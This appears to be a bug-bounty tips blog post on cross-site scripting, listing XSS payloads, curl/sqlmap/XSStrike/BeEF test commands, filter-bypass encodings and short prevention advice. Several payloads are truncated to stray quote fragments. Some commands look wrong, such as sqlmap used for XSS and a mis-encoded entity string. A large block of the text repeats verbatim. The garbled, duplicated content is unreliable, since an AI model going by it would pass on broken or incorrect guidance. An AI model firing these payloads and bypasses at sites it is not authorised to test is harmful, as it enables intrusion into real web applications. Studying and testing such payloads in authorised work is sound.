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Cross-Site Scripting (XSS) remains a critical vulnerability in web applications, allowing attackers to inject malicious scripts. Below are some tested XSS payloads that have successfully triggered alerts in bug bounty programs:
Tested XSS Payloads
1. `”>
`
2. `”>`
3. `
style=”x:”>`
4. `\”;alert(‘XSS’);//`
5. `”autofocus/onfocus=alert(1)//`
6. `’-alert(1)-‘`
You Should Know:
How to Test XSS Manually
1. Reflected XSS: Inject payloads via URL parameters:
curl -s "https://example.com/search?q=<script>alert(1)</script>" | grep -i "alert"
- Stored XSS: Submit payloads in forms (comments, profiles):
sqlmap -u "https://example.com/post_comment" --data "comment=<svg/onload=alert(1)>" --risk=3
3. DOM-Based XSS: Check JavaScript execution in DevTools:
document.location.hash="<img src=x onerror=alert(1)>"
Automated XSS Testing with Tools
- Burp Suite:
java -jar burpsuite.jar --use-defaults --config-file=xss_scan.conf
-
XSStrike (Python Tool):
python3 xsstrike.py -u "https://example.com/search?q=test" --crawl
-
BeEF Exploitation Framework:
sudo beef-xss
Bypassing XSS Filters
- Encoding Tricks:
<img src=x onerror=&x61;&x6C;&x65;&x72;&x74;&x28;&x31;&x29;>
- Alternative Event Handlers:
<body onload=alert('XSS')>
Preventing XSS
- Linux Command to Sanitize Input (PHP Example):
echo '<?php echo htmlspecialchars($_GET["input"]); ?>' > sanitize.php
- Content Security Policy (CSP) Header:
curl -I https://example.com | grep -i "content-security-policy"
What Undercode Say
XSS remains a top web vulnerability due to improper input validation. Always:
– Use output encoding (htmlentities in PHP, `escape()` in JavaScript).
– Implement CSP headers (Content-Security-Policy: default-src 'self').
– Test with automated scanners (OWASP ZAP, XSStrike).
Expected Output:
A secure web app should:
- Block `alert()` popups from untrusted inputs.
- Log XSS attempts via:
grep "script" /var/log/nginx/access.log
Prediction
As web apps move to JavaScript-heavy frameworks (React, Angular), DOM-based XSS will rise. Future bug bounties will focus on prototype pollution and client-side storage exploits.
Relevant URLs:
References:
Reported By: Amitkumar711 Bugbountytips – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
Join Our Cyber World:
4. `\”;alert(‘XSS’);//`
5. `”autofocus/onfocus=alert(1)//`
6. `’-alert(1)-‘`
You Should Know:
How to Test XSS Manually
1. Reflected XSS: Inject payloads via URL parameters:
curl -s "https://example.com/search?q=<script>alert(1)</script>" | grep -i "alert"
- Stored XSS: Submit payloads in forms (comments, profiles):
sqlmap -u "https://example.com/post_comment" --data "comment=<svg/onload=alert(1)>" --risk=3
3. DOM-Based XSS: Check JavaScript execution in DevTools:
document.location.hash="<img src=x onerror=alert(1)>"
Automated XSS Testing with Tools
- Burp Suite:
java -jar burpsuite.jar --use-defaults --config-file=xss_scan.conf
-
XSStrike (Python Tool):
python3 xsstrike.py -u "https://example.com/search?q=test" --crawl
-
BeEF Exploitation Framework:
sudo beef-xss
Bypassing XSS Filters
- Encoding Tricks:
<img src=x onerror=&x61;&x6C;&x65;&x72;&x74;&x28;&x31;&x29;>
- Alternative Event Handlers:
<body onload=alert('XSS')>
Preventing XSS
- Linux Command to Sanitize Input (PHP Example):
echo '<?php echo htmlspecialchars($_GET["input"]); ?>' > sanitize.php
- Content Security Policy (CSP) Header:
curl -I https://example.com | grep -i "content-security-policy"
What Undercode Say
XSS remains a top web vulnerability due to improper input validation. Always:
– Use output encoding (htmlentities in PHP, `escape()` in JavaScript).
– Implement CSP headers (Content-Security-Policy: default-src 'self').
– Test with automated scanners (OWASP ZAP, XSStrike).
Expected Output:
A secure web app should:
- Block `alert()` popups from untrusted inputs.
- Log XSS attempts via:
grep "script" /var/log/nginx/access.log
Prediction
As web apps move to JavaScript-heavy frameworks (React, Angular), DOM-based XSS will rise. Future bug bounties will focus on prototype pollution and client-side storage exploits.
Relevant URLs:
References:
Reported By: Amitkumar711 Bugbountytips – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
